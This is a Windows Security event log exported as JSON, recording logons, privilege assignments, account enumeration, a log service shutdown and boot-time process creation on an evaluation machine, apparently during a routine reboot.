{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:44.914842Z"}},"EventRecordID":21270,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:44.936380Z"}},"EventRecordID":21271,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:44.936385Z"}},"EventRecordID":21272,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:15.844513Z"}},"EventRecordID":21273,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:15.844519Z"}},"EventRecordID":21274,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:47.161916Z"}},"EventRecordID":21275,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:05:47.161922Z"}},"EventRecordID":21276,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4647,"Version":0,"Level":0,"Task":12545,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.455344Z"}},"EventRecordID":21277,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetLogonId":"0x65dd3"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.600519Z"}},"EventRecordID":21278,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.600524Z"}},"EventRecordID":21279,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4798,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.627920Z"}},"EventRecordID":21280,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrator","TargetDomainName":"WINDEV2401EVAL","TargetSid":"S-1-5-21-1837475949-2032650698-3025450431-500","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x84c","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4798,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.628039Z"}},"EventRecordID":21281,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"DefaultAccount","TargetDomainName":"WINDEV2401EVAL","TargetSid":"S-1-5-21-1837475949-2032650698-3025450431-503","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x84c","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4798,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.628139Z"}},"EventRecordID":21282,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Guest","TargetDomainName":"WINDEV2401EVAL","TargetSid":"S-1-5-21-1837475949-2032650698-3025450431-501","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x84c","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4798,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.628246Z"}},"EventRecordID":21283,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x84c","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4798,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:08.628357Z"}},"EventRecordID":21284,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"WDAGUtilityAccount","TargetDomainName":"WINDEV2401EVAL","TargetSid":"S-1-5-21-1837475949-2032650698-3025450431-504","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x84c","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Eventlog","Guid":"{fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148}"}},"EventID":1100,"Version":0,"Level":4,"Task":103,"Opcode":0,"Keywords":"0x4020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.664228Z"}},"EventRecordID":21285,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1604,"ThreadID":10528}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"UserData":{"ServiceShutdown":{"#attributes":{"xmlns":"http://manifests.microsoft.com/win/2004/08/windows/eventlog"}}}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.561876Z"}},"EventRecordID":21286,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:09.561881Z"}},"EventRecordID":21287,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.704886Z"}},"EventRecordID":21288,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":52}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x68","NewProcessName":"Registry","TokenElevationType":"%%1936","ProcessId":"0x4","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4696,"Version":0,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.704891Z"}},"EventRecordID":21289,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":52}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x3e7","TargetProcessId":"0x68","TargetProcessName":"Registry","ProcessId":"0x4","ProcessName":""}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4826,"Version":0,"Level":0,"Task":13573,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.704893Z"}},"EventRecordID":21290,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":52}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","LoadOptions":"-","AdvancedOptions":"%%1843","ConfigAccessPolicy":"%%1846","RemoteEventLogging":"%%1843","KernelDebug":"%%1843","VsmLaunchType":"%%1849","TestSigning":"%%1843","FlightSigning":"%%1843","DisableIntegrityChecks":"%%1843","HypervisorLoadOptions":"-","HypervisorLaunchType":"%%1849","HypervisorDebug":"%%1843"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:17.705726Z"}},"EventRecordID":21291,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":52}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x1b8","NewProcessName":"C:\\Windows\\System32\\smss.exe","TokenElevationType":"%%1936","ProcessId":"0x4","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:18.964077Z"}},"EventRecordID":21292,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":52}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x1d4","NewProcessName":"C:\\Windows\\System32\\autochk.exe","TokenElevationType":"%%1936","ProcessId":"0x1b8","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\smss.exe","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.505287Z"}},"EventRecordID":21293,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":52}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x230","NewProcessName":"C:\\Windows\\System32\\smss.exe","TokenElevationType":"%%1936","ProcessId":"0x1b8","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\smss.exe","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.589655Z"}},"EventRecordID":21294,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":52}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x238","NewProcessName":"C:\\Windows\\System32\\csrss.exe","TokenElevationType":"%%1936","ProcessId":"0x230","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\smss.exe","MandatoryLabel":"S-1-16-16384"}}}